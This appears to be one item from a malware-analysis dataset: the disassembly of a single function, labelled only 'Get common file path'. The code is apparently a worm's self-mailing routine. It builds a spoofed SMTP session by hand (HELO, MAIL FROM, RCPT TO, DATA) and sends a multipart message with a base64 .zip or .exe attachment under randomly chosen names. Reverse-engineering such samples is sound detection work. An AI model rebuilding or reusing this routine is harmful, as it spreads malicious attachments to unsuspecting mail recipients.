Function at 0x408a80
Capabilities:
Get common file path

Disassembly:
sub esp, 0x6dc
lea eax, [esp]
push ebx
push esi
push 0x64
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.004095f0
push 0x4c
call fcn.0040a448
mov ebx, dword [esp + 0x6f0]
add esp, 8
mov eax, ebx
mov cl, byte [ebx]
test cl, cl
je 0x408ac7
cmp cl, 0x40
je 0x408ac7
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x408aba
cmp byte [eax], 0x40
je 0x408ad7
pop esi
xor eax, eax
pop ebx
add esp, 0x6dc
ret
push ebp
push edi
inc eax
push 0x4f
lea ecx, [esp + 0x78]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
call fcn.004095fa
xor edx, edx
mov ecx, 5
div ecx
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [esp + 0x18c]
mov edx, dword [edx*4 + 0x42dc4c]
push edx
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [esp + 0x18c]
push 0x42e3d0
push ecx
call edi
lea edx, [esp + 0x74]
lea eax, [esp + 0x18c]
push edx
push eax
call edi
call fcn.004095fa
xor edx, edx
mov ecx, 7
div ecx
lea eax, [esp + 0x28c]
mov edx, dword [edx*4 + 0x42dc60]
push edx
push eax
call esi
call fcn.004095fa
xor edx, edx
mov ecx, 6
div ecx
lea eax, [esp + 0xc4]
mov edx, dword [edx*4 + 0x42dc7c]
push edx
push eax
call esi
call fcn.004095fa
xor edx, edx
mov ecx, 6
div ecx
lea eax, [esp + 0x41c]
mov edx, dword [edx*4 + 0x42dc94]
push edx
push eax
call esi
call fcn.004095fa
and eax, 3
lea edx, [esp + 0x354]
mov ecx, dword [eax*4 + 0x42dcac]
push ecx
push edx
call esi
lea eax, [esp + 0x354]
lea ecx, [esp + 0xc4]
push eax
push ecx
call edi
lea edx, [esp + 0xc4]
push str..zip
push edx
call fcn.0040a4c0
add esp, 8
lea edx, [esp + 0x10]
test eax, eax
mov edi, str._base64zip.sys
jne 0x408be5
mov edi, str._base64exe.sys
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x42e0f4
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x432028
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x408c2a
push 0x432028
push str.HELO___s__s
jmp 0x408c34
lea eax, [esp + 0x78]
push eax
push str.HELO__s_s
push 0x431d50
call fcn.0040a8e2
add esp, 0x10
call fcn.00408810
call fcn.00408850
mov edi, 0x431fe8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
pop edi
pop ebp
dec ecx
push 0x42e0f4
je 0x408c6a
push 0x431fe8
jmp 0x408c72
lea ecx, [esp + 0x188]
push ecx
push str.MAIL_FROM:___s__s
push 0x431d50
call fcn.0040a8e2
add esp, 0x10
call fcn.00408810
call fcn.00408850
push 0x42e0f4
push ebx
push str.RCPT_TO:___s__s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
call fcn.00408850
push 0x42e0f4
push str.DATA_s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
call fcn.00408850
lea edx, [esp + 0x4f8]
push edx
push 0
call fcn.004088a0
push 0x42e0f4
push ebx
push str.To:__s_s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
lea eax, [esp + 0x2b8]
push 0x42e0f4
push eax
push str.Subject:__s_s
push 0x431d50
call fcn.0040a8e2
add esp, 0x44
call fcn.00408810
lea ecx, [esp + 0x4dc]
push 0x42e0f4
push ecx
push str.Date:__s_s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
lea edx, [esp + 0x194]
push 0x42e0f4
push edx
push str.From:__s_s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
push 0x42e0f4
push str.MIME_Version:_1.0_s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
push 0x42e0f4
push str.Content_Type:_multipart_mixed_
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
push 0x42e0f4
push str.boundary___zzzxxxzzzxxx__s
push 0x431d50
call fcn.0040a8e2
add esp, 0x44
call fcn.00408810
push 0x42e0f4
push str.X_Priotity:_3_s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
push 0x42e0f4
push str.X_MSMail_Priority:_Normal_s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
push 0x42e0f4
push 0x42e0f4
push 0x42e0f4
push str._sThis_is_a_multipart_MIME_encoded_message_s_s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
push 0x42e0f4
push str.____zzzxxxzzzxxx_s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
push 0x42e0f4
push str.Content_Type:_text_html__charset_us_ascii__s
push 0x431d50
call fcn.0040a8e2
add esp, 0x44
call fcn.00408810
push 0x42e0f4
push 0x42e0f4
push str.Content_Transfer_Encoding:_quoted_printable_s_s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
push 0x42e0f4
push 0x42e234
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
lea eax, [esp + 0x430]
push 0x42e0f4
push eax
push str._s_s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
push 0x42e0f4
push str.____zzzxxxzzzxxx_s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
lea ecx, [esp + 0xf4]
push 0x42e0f4
push ecx
push str.Content_Type:_application_octet_stream__name__s__s
push 0x431d50
call fcn.0040a8e2
add esp, 0x48
call fcn.00408810
push 0x42e0f4
push str.Content_Transfer_Encoding:_base64_s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
lea edx, [esp + 0xc8]
push 0x42e0f4
push edx
push str.Content_Disposition:_attachment__filename__s__s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
push 0x42e0f4
push 0x42e234
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
push 0x104
call fcn.0040a448
lea eax, [esp + 0x34]
push 0x42c0dc
push eax
call fcn.004096d6
mov esi, eax
add esp, 0x34
test esi, esi
jne 0x408f45
pop esi
pop ebx
add esp, 0x6dc
ret
mov al, byte [esi + 0xc]
mov bl, 0x10
test bl, al
jne 0x408f8a
lea ecx, [esp + 0x5e0]
push ecx
push 0x42e19c
push esi
call fcn.0040966e
lea edx, [esp + 0x5ec]
push 0x42e0f4
push edx
push str._s_s
push 0x431d50
call fcn.0040a8e2
add esp, 0x1c
call fcn.00408810
test byte [esi + 0xc], bl
je 0x408f4e
push 0x42e0f4
push 0x42e234
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
push 0x42e0f4
push str.____zzzxxxzzzxxx___s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
push 0x42e0f4
push 0x42e0f4
push str._s._s
push 0x431d50
call fcn.0040a8e2
call fcn.00408810
call fcn.00408850
push 0x42e0f4
push str.QUIT_s
push 0x431d50
call fcn.0040a8e2
add esp, 0x34
call fcn.00408810
call fcn.00408850
mov eax, dword [0x43067c]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
pop esi
mov eax, 1
pop ebx
add esp, 0x6dc
ret